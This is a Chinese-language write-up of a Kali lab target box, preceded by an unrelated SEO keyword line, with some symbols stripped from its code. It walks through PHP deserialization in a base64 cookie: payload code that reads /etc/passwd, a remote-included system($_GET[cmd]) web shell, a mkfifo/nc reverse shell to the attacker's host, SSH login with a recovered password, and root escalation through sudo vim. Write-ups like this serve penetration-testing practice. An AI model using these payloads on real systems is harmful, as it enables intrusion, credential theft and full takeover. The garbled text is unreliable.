唐山公司网站建设,wordpress博客实战,jsp网站入门,做微信封面的网站kali靶机配置
【我图片里没有截图的默认配置即可】需要改的地方图片里面都有。 使用kali扫描网关的主机。
扫到一个开放了80端口HTTP协议的主机ip 访问80端口
会看到一个文本页面#xff0c;翻译一下看是什么意思。。 F12查看cookie#xff0c;是一个base64编码了的东西 使…kali靶机配置
【我图片里没有截图的默认配置即可】需要改的地方图片里面都有。 使用kali扫描网关的主机。
扫到一个开放了80端口HTTP协议的主机ip 访问80端口
会看到一个文本页面翻译一下看是什么意思。。 F12查看cookie是一个base64编码了的东西 使用burpsuite解码功能解码发现是一个代码 解码前 Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0 解码后 0:4:User:2:{s:10:Username;s:3:sk4;s:9:Userwel;0:7:Welcome:0:{}} 使用webshell工具扫描目录
右键将地址添加扫描后查看到两个目录文件 访问一下。。 访问后会看到弹出一个文件下载界面。 进行代码审计 1.通过代码审计得知首先index.php文件包含了user.class.php文件对cookie中的user参数进行了序列化和base64编码然后user.class.php文件包含了log.class.php且定义了两个类分别是Welcome和User并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log且handler函数对变量还进行了文件包含和输出。
构造查看文件的payload
将下列的代码保存到自己的www目录下新建成一个php文件
?phpclass Log {private $type_log /etc/passwd;}class User {private $name admin;private $wel;function __construct() {$this-wel new Log();}
}
$obj new User();
echo base64_encode(serialize($obj));访问自己构造的payload
也就是访问自己建的payload.php。
查看到了base64编码后的payload。 抓包查看将user改为自己构造下的payload
可以看到查到了etc/passwd文件可以看见sk4用户 再将自己编码后的payload解码
O:4:User:2:{s:10:Username;s:5:admin;s:9:Userwel;O:3:Log:1:{s:13:Logtype_log;s:11:/etc/passwd;}}
?phpclass Log {private $type_log http://172.16.1.65/3.txt;}class User {private $name admin;private $wel;function __construct() {$this-wel new Log();}
}
$obj new User();
echo base64_encode(serialize($obj));构造连接cmd的payload
新建一个3.txt里面内容如下
?php system($ GET[cmd]);?
将之前自己www目录下的php文件内容改为如下地址为自己的本机地址 将页面显示得到的复制到burpsuite中 结果显示如下 在如图所示的地方写入?cmdid,显示如下 添加反弹shell
在?cmd后面添加如下
rm/tmp/f%3bmkfifo/tmp/f%3bcat/tmp/f|/bin/sh-i2%261|nc172.16.1.654444/tmp/f
没有反应但是反弹shell成功。 重新抓包将抓到的数据包该为自己改成的数据包放包。
显示如下连接靶机成功后续可以进行cmd命令操作靶机。 继续使用cmd命令查看靶机用户的账号密码
用户名sk4 ,密码是KywZmnPWW6tTbW5w 进行远程连接 ssh sk4192.168.189.157 输入你查到的密码。。。 sudo vim 提权 提权到了root用户